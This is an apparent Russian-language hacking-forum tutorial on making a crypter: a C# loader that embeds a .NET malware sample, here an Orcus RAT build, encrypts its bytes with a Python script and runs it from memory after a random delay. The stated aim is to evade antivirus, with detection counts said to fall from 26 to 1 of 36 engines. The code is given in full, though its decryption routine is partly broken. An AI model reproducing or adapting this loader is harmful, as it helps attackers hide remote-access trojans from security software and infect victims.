Материалы: Visual Studio 2015 Python 3.5 Семпл .Net вируса 2 руки Приступим: Открываем Visual Studio и создаем Visual C# проект (console application). Далее заходим в вкладку свойств и переключаемся на Приложение Windows. Далее заходим в ресурсы, добавляем сторонний файл (выбранный .net семпл). В методе main прописываем: Код: Assembly a = Assembly.Load(Properties.Resources.sample); MethodInfo m = a.EntryPoint; m.Invoke(a.CreateInstance(m.Name), new string[0]); Где sample - имя вашего файла. Я брал билд ратника Orcus и его изначальный детект был - http://viruscheckmate.com/id/5ZpbVs6RPFo2 (26/36) Далее выставляем сборку на Release и собираем проект. Полученный файл чекаем на детект: VirusCheckMate | Online virus scanner (9/36). Тремя строчками избавились от 17 детектов, но все равно это слишком много. Основное палево происходит по сигнатурам файла, который лежит в ресурсах (ратник), т.к. байты ничем не зашифрованы и файл ничем не накрыт. Соответственно, нам надо каким-то образом сокрыть эти сигнатуры и воткнуть файл в память пока антивирус ничего не понял. Для этого создаем Python-скрипт, который будет шифровать наш файл в ресурсах: Код: import os def encrypt(): with open('run.exe', 'rb') as f: arr = f.read() with open('encrypted.txt', 'w') as w: arr2 = [] for i in arr: if i % 2: arr2.append(int(i) - 25) # Абсолютно любая цифра else: arr2.append(int(i) + 15) # Абсолютно любая цифра for i in arr2: w.write(str(i) + " ") encrypt() Где run.exe - имя вашего .Net семпла Запоминаем цифры которые прописали в скрипте и запускаем его. Рядом со скриптом создастся текстовый файл с зашифрованными байтами в нем. Добавляем его в ресурсы проекта, предварительно удалив старый. Далее очищаем метод main и внизу создаем отдельный метод дешифровки байтов Код: public static byte[] decrypt() { string enc = Properties.Resources.encrypted; string[] bytes = enc.Split(' '); byte[] decrypted = new byte[bytes.Length - 1]; for (int i = 0; i < bytes.Length - 1; i++) { int curr = Convert.ToInt32(bytes); if (curr % 2 == 0) decrypted = Convert.ToByte(curr + 25); # Цифра из скрипта else decrypted = Convert.ToByte(curr - 15); # Цифра из скрипта } return decrypted; } Устанавливаем цифры которые вставили в скрипте и дешифровка готова. Далее это дело нужно как-то запускать. Для этого напишем еще один метод: Код: public static void run() { Assembly a = Assembly.Load(decrypt()); MethodInfo m = a.EntryPoint; m.Invoke(a.CreateInstance(m.Name), new string[0]); } А в методе main пропишем запуск потока с рандомной задержкой: Код: static void Main(string[] args) { Thread.Sleep(new Random().Next(1, 35) * 1000); new Thread(run).Start(); } Собираем проект, и получаем следующий результат - VirusCheckMate | Online virus scanner (1/36) Билд вполне рабочий. Для красоты можно сверху накрыть темидой чтоб детект держался минимальным, но это не обязательно. Исходник : Materials.rar